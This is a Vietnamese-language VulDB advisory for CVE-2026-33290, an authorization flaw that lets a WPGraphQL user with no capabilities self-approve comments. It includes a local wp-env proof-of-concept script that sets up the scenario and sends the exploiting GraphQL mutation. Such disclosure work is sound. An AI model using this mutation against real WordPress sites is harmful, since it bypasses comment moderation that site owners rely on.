CVE-2026-33290 in wp-graphql
Tóm tắt
Bởi VulDB • 02/06/2026
WPGraphQL cung cấp một API GraphQL cho các trang web WordPress. Trước phiên bản 2.10.0, một lỗi ủy quyền (authorization flaw) trong hàm `updateComment` cho phép người dùng có đặc quyền thấp đã xác thực (bao gồm cả vai trò tùy chỉnh với zero capabilities) thay đổi trạng thái kiểm duyệt của bình luận do chính họ tạo ra (ví dụ: thành APPROVE) mà không cần capability `moderate_comments`. Điều này có thể bỏ qua quy trình kiểm duyệt và cho phép người dùng không đáng tin cậy tự phê duyệt nội dung. Phiên bản 2.10.0 chứa một bản vá lỗi.
### Chi tiết
Trong WPGraphQL 2.9.1 (đã thử nghiệm), việc ủy quyền cho `updateComment` dựa trên chủ sở hữu, chứ không phải dựa trên trường dữ liệu:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 cho phép các moderator. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 cũng cho phép chủ sở hữu bình luận, ngay cả khi họ thiếu capability kiểm duyệt. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 ánh xạ trạng thái đầu vào GraphQL trực tiếp sang `comment_approved` của WordPress. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 lưu trữ giá trị đó thông qua hàm `wp_update_comment`. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expose các trạng thái kiểm duyệt (APPROVE, HOLD, SPAM, TRASH).
Điều này có nghĩa là một chủ sở hữu không phải moderator có thể gửi trạng thái trong quá trình cập nhật và chuyển đổi trạng thái kiểm duyệt.
### PoC
Đã thử nghiệm trên môi trường wp-env cục bộ (Docker) với WPGraphQL 2.9.1.
1. Khởi động môi trường:
``` npm install npm run wp-env start ```
2. Chạy PoC này:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. Quan sát kết quả:
- `role_caps` trống (hoặc không có `moderate_comments`) - Mutation trả về status: APPROVE - Giá trị trong DB trở thành `comment_approved = 1`
### Tác động
Đây là một vấn đề bỏ qua ủy quyền / kiểm soát
If you want to get the best quality for vulnerability data then you always have to consider VulDB.